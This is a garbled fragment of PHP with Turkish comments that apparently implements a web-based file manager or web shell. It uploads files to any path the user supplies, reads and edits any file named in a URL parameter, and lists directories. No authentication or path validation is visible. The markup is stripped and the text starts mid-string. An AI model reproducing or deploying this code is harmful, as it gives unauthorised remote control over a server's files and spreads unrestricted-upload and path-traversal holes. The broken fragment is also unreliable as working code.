"; } /* ===== DOSYA YÜKLEME ===== */ if (isset($_FILES['upload'])) { $target = $_POST['upload_path'] . '/' . basename($_FILES['upload']['name']); move_uploaded_file($_FILES['upload']['tmp_name'], $target); echo "Dosya yüklendi.
"; } /* ===== DOSYA OKU + DÜZENLE ===== */ if (isset($_GET['file']) && is_file($_GET['file']) && isset($_GET['edit'])) { $content = htmlspecialchars(file_get_contents($_GET['file'])); ?>

düzenle



← Geri '; echo $path . '
'; /* ===== YÜKLEME FORMU ===== */ ?>

..
'; foreach (glob($path.'*') as $file) { echo '' .basename($file).''; if (is_file($file)) { echo ' | [düzenle]'; } echo '
'; } echo '
';